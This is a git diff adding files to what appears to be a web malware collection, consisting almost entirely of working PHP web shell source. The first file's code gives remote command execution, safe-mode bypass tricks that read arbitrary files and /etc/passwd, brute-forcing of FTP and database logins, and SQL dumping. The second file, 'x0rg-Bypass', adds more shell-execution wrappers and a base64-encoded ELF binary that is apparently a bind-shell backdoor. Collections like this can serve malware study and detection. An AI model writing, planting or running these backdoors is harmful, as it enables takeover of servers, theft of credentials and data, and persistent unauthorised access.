value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; + break; + case 'edit': + if( !is_writable($_POST['p1'])) { + echo 'File isn\'t writeable'; + break; + } + if( !empty($_POST['p3']) ) { + @file_put_contents($_POST['p1'],$_POST['p3']); + echo 'Saved!<br><script>document.mf.p3.value="";</script>'; + } + echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>'; + $fp = @fopen($_POST['p1'], 'r'); + if($fp) { + while( !@feof($fp) ) + echo htmlspecialchars(@fread($fp, 1024)); + @fclose($fp); + } + echo '</textarea><input type=submit value=">>"></form>'; + break; + case 'hexdump': + $c = @file_get_contents($_POST['p1']); + $n = 0; + $h = array('00000000<br>','',''); + $len = strlen($c); + for ($i=0; $i<$len; ++$i) { + $h[1] .= sprintf('%02X',ord($c[$i])).' '; + switch ( ord($c[$i]) ) { + case 0: $h[2] .= ' '; break; + case 9: $h[2] .= ' '; break; + case 10: $h[2] .= ' '; break; + case 13: $h[2] .= ' '; break; + default: $h[2] .= $c[$i]; break; + } + $n++; + if ($n == 32) { + $n = 0; + if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} + $h[1] .= '<br>'; + $h[2] .= "\n"; + } + } + echo '<style>pre{font-family:Courier,Monospace;}</style><table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><pre style="color:#df5">'.$h[0].'</pre></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; + break; + case 'rename': + if( !empty($_POST['p3']) ) { + if(!@rename($_POST['p1'], $_POST['p3'])) + echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>'; + else + die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); + } + echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; + break; + case 'touch': + if( !empty($_POST['p3']) ) { + $time = strtotime($_POST['p3']); + if($time) { + if(@touch($_POST['p1'],$time,$time)) + die('<script>g(null,null,null,null,"")</script>'); + else { + echo 'Fail!<script>document.mf.p3.value="";</script>'; + } + } else echo 'Bad time format!<script>document.mf.p3.value="";</script>'; + } + echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>'; + break; + case 'mkfile': + if(!file_exists($_POST['p1'])) { + $fp = @fopen($_POST['p1'], 'w'); + if($fp) + die('<script>g(null,null,null,"edit")</script>'); + } + echo 'Can\'t create!'; + break; + } + echo '</div>'; +} + +function actionSafeMode() { + if( isset($_POST['ajax']) ) { + ob_start(); + switch($_POST['p1']) { + case 1: + $temp=@tempnam($test, 'cx'); + if(@copy("compress.zlib://".$_POST['p2'], $temp)){ + echo @file_get_contents($temp); + unlink($temp); + } else + echo 'Sorry... Can\'t open file'; + break; + case 2: + $files = glob($_POST['p2'].'*'); + if( is_array($files) ) + foreach ($files as $filename) + echo $filename."\n"; + break; + case 3: + $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH); + curl_exec($ch); + break; + case 4: + ini_restore("safe_mode"); + ini_restore("open_basedir"); + include($_POST['p2']); + break; + case 5: + for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { + $uid = posix_getpwuid($_POST['p2']); + if ($uid) + echo join(':',$uid)."\n"; + } + break; + case 6: + if(!function_exists('imap_open'))break; + $stream = imap_open($_POST['p2'], "", ""); + if ($stream == FALSE) + break; + echo imap_body($stream, 1); + imap_close($stream); + break; + } + $temp = "document.getElementById('Output').style.display='';document.getElementById('Output').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + echo '<h1>Safe mode bypass</h1><div class=content>'; + echo '<span>Copy (read file)</span><form onsubmit=\'a(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'a(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'a(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'a(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'a(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'a(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><pre class="ml1" style="display:none;margin-top:5px" id="Output"></pre>'; + echo '</div>'; +} + +function actionConsole() { + if(isset($_POST['ajax'])) { + ob_start(); + echo "document.cf.cmd.value='';\n"; + $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0")); + if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { + if(@chdir($match[1])) { + $GLOBALS['cwd'] = @getcwd(); + echo "document.mf.c.value='".$GLOBALS['cwd']."';"; + } + } + echo "document.cf.output.value+='".$temp."';"; + echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;"; + $temp = ob_get_clean(); + echo strlen($temp), "\n", $temp; + exit; + } +?> +<script> +if(window.Event) window.captureEvents(Event.KEYDOWN); +var cmds = new Array(""); +var cur = 0; +function kp(e) { + var n = (window.Event) ? e.which : e.keyCode; + if(n == 38) { + cur--; + if(cur>=0) + document.cf.cmd.value = cmds[cur]; + else + cur++; + } else if(n == 40) { + cur++; + if(cur < cmds.length) + document.cf.cmd.value = cmds[cur]; + else + cur--; + } +} +function add(cmd) { + cmds.pop(); + cmds.push(cmd); + cmds.push(""); + cur = cmds.length-1; +} +</script> +<?php + echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);a(null,null,this.cmd.value);return false;"><select name=alias>'; + foreach($GLOBALS['aliases'] as $n => $v) { + if($v == '') { + echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; + continue; + } + echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; + } + echo '</select><input type=button onclick="add(document.cf.alias.value);a(null,null,document.cf.alias.value);" value=">>"><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; + if(!empty($_POST['p1'])) + echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1'])); + echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">'; + echo '</form></div><script>document.cf.cmd.focus();</script>'; +} + +function actionLogout() { + unset($_SESSION['sh_logined']); + die('<script>location.reload();</script>'); +} + +function actionSelfRemove() { + if($_POST['p1'] == 'yes') { + if(@unlink(SELF_PATH)) + die('Shell has been removed'); + else + echo 'unlink error!'; + } + echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; +} + +function actionBruteforce() { + if( isset($_POST['proto']) ) { + echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; + if( $_POST['proto'] == 'ftp' ) { + function bruteForce($ip,$port,$login,$pass) { + $fp = @ftp_connect($ip, $port?$port:21); + if(!$fp) return false; + $res = @ftp_login($fp, $login, $pass); + @ftp_close($fp); + return $res; + } + } elseif( $_POST['proto'] == 'mysql' ) { + function bruteForce($ip,$port,$login,$pass) { + $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); + @mysql_close($res); + return $res; + } + } elseif( $_POST['proto'] == 'pgsql' ) { + function bruteForce($ip,$port,$login,$pass) { + $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''"; + $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass); + @pg_close($res); + return $res; + } + } + $success = 0; + $attempts = 0; + $server = explode(":", $_POST['server']); + if($_POST['type'] == 1) { + $temp = @file('/etc/passwd'); + if( is_array($temp) ) + foreach($temp as $line) { + $line = explode(":", $line); + ++$attempts; + if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { + $success++; + echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; + } + if(@$_POST['reverse']) { + $tmp = ""; + for($i=strlen($line[0])-1; $i>=0; --$i) + $tmp .= $line[0][$i]; + ++$attempts; + if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { + $success++; + echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); + } + } + } + } elseif($_POST['type'] == 2) { + $temp = @file($_POST['dict']); + if( is_array($temp) ) + foreach($temp as $line) { + $line = trim($line); + ++$attempts; + if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) { + $success++; + echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; + } + } + } + echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; + } + echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' + .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' + .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' + .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' + .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' + .'<span>Server:port</span></td>' + .'<td><input type=text name=server value="127.0.0.1"></td></tr>' + .'<tr><td><span>Brute type</span></td>' + .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' + .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' + .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' + .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' + .'<td><input type=text name=login value="root"></td></tr>' + .'<tr><td><span>Dictionary</span></td>' + .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' + .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; + echo '</div><br>'; +} + +function actionSql() { + class DbClass { + var $type; + var $link; + var $res; + function DbClass($type) { + $this->type = $type; + } + function connect($host, $user, $pass){ + switch($this->type) { + case 'mysql': + if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; + break; + } + return false; + } + function selectdb($db) { + switch($this->type) { + case 'mysql': + if (@mysql_select_db($db))return true; + break; + } + return false; + } + function query($str) { + switch($this->type) { + case 'mysql': + return $this->res = @mysql_query($str); + break; + } + return false; + } + function fetch() { + $res = func_num_args()?func_get_arg(0):$this->res; + switch($this->type) { + case 'mysql': + return @mysql_fetch_assoc($res); + break; + } + return false; + } + function listDbs() { + switch($this->type) { + case 'mysql': + return $this->res = @mysql_list_dbs($this->link); + break; + } + return false; + } + function setCharset($str) { + switch($this->type) { + case 'mysql': + if(function_exists('mysql_set_charset')) + return @mysql_set_charset($str, $this->link); + else + $this->query('SET CHARSET '.$str); + break; + } + return false; + } + function dump($table) { + switch($this->type) { + case 'mysql': + $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); + $create = mysql_fetch_array($res); + echo $create[1].";\n\n"; + $this->query('SELECT * FROM `'.$table.'`'); + while($item = $this->fetch()) { + $columns = array(); + foreach($item as $k=>$v) { + $item[$k] = "'".@mysql_real_escape_string($v)."'"; + $columns[] = "`".$k."`"; + } + echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; + } + break; + } + return false; + } + }; + $db = new DbClass('mysql'); + if(@$_POST['p2']=='download') { + $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass']); + $db->selectdb($_POST['sql_base']); + header("Content-Disposition: attachment; filename=dump.sql"); + header("Content-Type: text/plain"); + foreach($_POST['tbl'] as $v) + //if(preg_match('!table_(.*)!', $k, $table)) + $db->dump($v); + exit; + } + ?> + <h1>Sql browser</h1><div class=content> + <form name="sf" method="post"> + <table cellpadding="2" cellspacing="0"> + <tr> + <td>Host</td> + <td>Login</td> + <td>Password</td> + <td>Database</td> + <td></td> + </tr> + <tr> + <input type=hidden name=a value=Sql> + <input type=hidden name=p1 value='query'> + <input type=hidden name=p2> + <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'> + <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> + <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td> + <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td> + <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td> + <td> + <?php + $tmp = "<input type=text name=sql_base value=''>"; + if(isset($_POST['sql_host'])){ + if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'])) { + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + } + $db->listDbs(); + echo "<select name=sql_base><option value=''></option>"; + while($item = $db->fetch()) { + list($key, $value) = each($item); + echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; + } + } + else echo $tmp; + }else + echo $tmp; + ?></td> + <td><input type=submit value=">>"></td> + </tr> + </table> + <script> + function st(t) { + document.sf.p1.value = 'select'; + document.sf.p2.value = ''; + document.sf.p3.value = t; + document.sf.submit(); + } + </script> + <?php + if(isset($db) && $db->link){ + echo "<table width=100% cellpadding=2 cellspacing=0>"; + if(!empty($_POST['sql_base'])){ + $db->selectdb($_POST['sql_base']); + echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>"; + $db->query("show tables"); + while($item = $db->fetch()) { + list($key, $value) = each($item); + echo "<nobr><input type='checkbox' name='tbl[]' value='".htmlspecialchars($value)."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a></nobr><br>"; + } + echo "<input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>"; + if(@$_POST['p1'] == 'select') { + $_POST['p1'] = 'query'; + $_POST['p3'] = 'SELECT * FROM `'.$_POST['p3'].'` LIMIT 0,30'; + } + echo "<textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>"; + if(@$_POST['p1'] == 'query') { + $db->query(@$_POST['p3']); + if($db->res !== false) { + $title = false; + echo '<table width=100% cellspacing=0 cellpadding=2 class=main style="margin-top:5px">'; + $line = 1; + while($item = $db->fetch()) { + if(!$title) { + echo '<tr>'; + foreach($item as $key => $value) + echo '<th>'.$key.'</th>'; + reset($item); + $title=true; + echo '</tr><tr>'; + $line = 2; + } + echo '<tr class="l'.$line.'">'; + $line = $line==1?2:1; + foreach($item as $key => $value) { + if($value == null) + echo '<td><i>null</i></td>'; + else + echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; + } + echo '</tr>'; + } + echo '</table>'; + } + } + echo "</td></tr>"; + } + echo "</table></form><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; + if(@$_POST['p1'] == 'loadfile') { + $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file"); + $file = $db->fetch(); + echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; + } + } + echo '</div>'; +} +if( empty( $_POST['ajax'] ) && (@$_POST['p2'] != 'download')) + printHeader(); +if( empty($_POST['a']) ) + $_POST['a'] = 'SecInfo'; +if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) + call_user_func('action' . $_POST['a']); +if( empty( $_POST['ajax'] ) && (@$_POST['p2'] != 'download') ) + printFooter(); +?> diff --git a/web-malware-collection-master/Backdoors/PHP/x0rg.byp4ss.txt b/web-malware-collection-master/Backdoors/PHP/x0rg.byp4ss.txt new file mode 100755 index 0000000..5cf79c6 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/x0rg.byp4ss.txt @@ -0,0 +1,3717 @@ +<? +$sh_name = "x0rg-Bypass"; +$sh_mainurl = "http://fx0.name"; +$html_start = '<html><head> +<title>'.getenv("HTTP_HOST").' - '.$sh_name.'</title> +<style type="text/css"> +body,table { font-family:verdana;font-size:9px;color:#CCCCCC;background-color:#0a0a0a; } +table { width:100%; border-color:#333333;border-width:0pt 1pt; border-style:solid; } +td {background-color: #070707; font-family: Courier New; font-size:8pt; color:#999999; border-color:#FFFFFF; border-width:1pt 0pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:middle;} +A:Link, A:Visited { color: #999999; text-decoration: none; } +A.no:Link, A.no:Visited { text-decoration: none; } +A:Hover, A:Visited:Hover , A.no:Hover, A.no:Visited:Hover { color: #666666; background-color:#333333; text-decoration: none; } +input,select,option { font:8pt tahoma;color:#666666;margin:2;border:1px solid #666666; } +textarea { color:#666666;font:verdana bold;border:1px solid ;margin:2; } +.fleft { float:left;text-align:left; } +.fright { float:right;text-align:right; } +#pagebar { font:8pt tahoma;padding:5px; border:3px solid #333333; border-collapse:collapse; } +#pagebar td { vertical-align:top; } +#pagebar p { font:8pt tahoma;} +#pagebar a { font-weight:bold;color:#4a7a93; } +#pagebar a:visited { color:#00CE00; } +#mainmenu { text-align:center; } +#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; } +#maininfo,.barheader,.barheader2 { text-align:center; } +#maininfo td { padding:3px; } +.barheader { font-weight:bold;padding:5px;background-color:#333333; } +.barheader2 { padding:5px;border:2px solid #333333;background-color:#333333; } +.contents,.explorer { border-collapse:collapse;} +.contents td { vertical-align:top; } +.mainpanel { border-collapse:collapse;padding:5px; } +.barheader,.mainpanel table,td { border:1px solid #333333; } +.mainpanel input,select,option { border:1px solid #333333;margin:0; } +input[type="submit"] { background-color:#0a0a0a;border:1px solid #121212;} +input[type="submit"]:hover { background-color:#0a0a0a;border-color: #0271a8;} +input[type="text"] { padding:3px;background-color:#0a0a0a; } +input[type="text"]:hover {background-color:#0a0a0a;border-color: #0271a8 } +.fxerrmsg { color:red; font-weight:bold; } +#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; } +#pagebar,.mainpanel,input[type="submit"] { background-color:#0e0e0e; } +.input,select,option,input[type="submit"]:hover { background-color:black; } +.barheader2 hover {background-color:#333333; } +textarea,.mainpanel input,select,option { background-color:#0e0e0e;padding:1;margin:2px } +textarea:hover, select:hover { color:#666666;font:verdana bold;border-color: #0271a8;margin:2; } +// --> +</style> +</head> +'; +$login = ""; +$pass = ""; +$md5_pass = ""; +$host_allow = array("*"); +$login_txt = "Restricted Area"; +$accessdeniedmess = "<META http-equiv=\"refresh\" content=\"2;URL=http://fx0.name\"><body bgcolor=black><a href=\"$sh_mainurl\"><font color=lime>fx0</font></a>: <font color=red>access denied</font></body>"; +$gzipencode = TRUE; +$filestealth = TRUE; +$curdir = "./"; +$tmpdir = ""; +$tmpdir_log = "./"; +$log_email = "fx0@fx0.name"; +$sort_default = "0a"; +$sort_save = TRUE; +$sess_cookie = "capriv8vars"; +$usefsbuff = TRUE; +$copy_unset = FALSE; +$hexdump_lines = 8; +$hexdump_rows = 24; +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) { + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} +function get_phpini() { + function U_wordwrap($str) { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } + function U_value($value) { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } + if (@function_exists('ini_get_all')) { + $r = ""; + echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>"; + foreach (@ini_get_all() as $key=>$value) { + $r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value['local_value'])."</div></td><td><div align=center>".U_value($value['global_value'])."</div></td></tr>"; + } + echo $r; + echo "</table>"; + } +} + +function disp_drives($curdir,$surl) { + $letters = ""; + $v = explode("\\",$curdir); + $v = $v[0]; + foreach (range("A","Z") as $letter) { + $bool = $isdiskette = $letter == "A"; + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) { + $letters .= "<a href=\"".$surl."x=ls&d=".urlencode($letter.":\\")."\"". + ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")."> ["; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=red>".$letter."</font>";} + $letters .= "]</a> "; + } + } + if (!empty($letters)) {Return $letters;} + else {Return "None";} +} +if (is_callable("disk_free_space")) { + function disp_freespace($curdrv) { + $free = disk_free_space($curdrv); + $total = disk_total_space($curdrv); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2)."%"; + $free = view_size($free); + $total = view_size($total); + return "$free of $total ($free_percent)"; + } +} +if (!function_exists("myshellexec")) { + if(is_callable("popen")) { + function myshellexec($cmd) { + if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; } + while (!feof($p)) { + $line=fgets($p,1024); + $out .= $line; + } + pclose($p); + return $out; + } + } else { + function myshellexec($cmd) { + global $disablefunc; + $result = ""; + if (!empty($cmd)) { + if (is_callable("exec") and !in_array("exec",$disablefunc)) { + exec($cmd,$result); + $result = join("\n",$result); + } elseif (($result = $cmd) !== FALSE) { + } elseif (is_callable("system") and !in_array("system",$disablefunc)) { + $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v; + } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) { + $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v; + } elseif (is_resource($fp = popen($cmd,"r"))) { + $result = ""; + while(!feof($fp)) { $result .= fread($fp,1024); } + pclose($fp); + } + } + return $result; + } + } +} +function ex($cfe) { + $res = ''; + if (!empty($cfe)) { + if(function_exists('exec')) { + @exec($cfe,$res); + $res = join("\n",$res); + } elseif(function_exists('shell_exec')) { + $res = @shell_exec($cfe); + } elseif(function_exists('system')) { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } elseif(function_exists('passthru')) { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } elseif(@is_resource($f = @popen($cfe,"r"))) { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } else { $res = "Ex() Disabled!"; } + } + return $res; +} +function which($pr) { + $path = ex("which $pr"); + if(!empty($path)) { return $path; } else { return $pr; } +} + +$hostname_x = php_uname(n); +$itshome = getcwd(); +if (!$win) { + $itshome = str_replace("/home/","~",$itshome); + $itshome = str_replace("/public_html","/ca.php",$itshome); +} +else { $itshome = ""; } +$enumerate = "http://".$hostname_x."/".$itshome.""; + + +$Lversion = php_uname(r); +$OSV = php_uname(s); + + +$backdoor="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRCQIiVQkBItF8IkEJOht/f//iUX0g330AHkMxwQkjIkECOg4/f//6EP9//+FwA+EpwAAAItF+Ln/////iUW4uAAAAAD8i3248q6JyPfQg+gBx0QkDAAAAACJRCQIi0X4iUQkBItF9IkEJOiQ/f//x0QkBAAAAACLRfSJBCToPf3//8dEJAQBAAAAi0X0iQQk6Cr9///HRCQEAgAAAItF9IkEJOgX/f//x0QkCAAAAADHRCQEn4kECMcEJJ+JBAjoe/z//4tF8IkEJOiA/P//xwQkAAAAAOgE/f//i0X0iQQk6Gn8///pDv///1WJ5VdWMfZT6H/9//+BwyMSAACD7AzoEfz//42DIP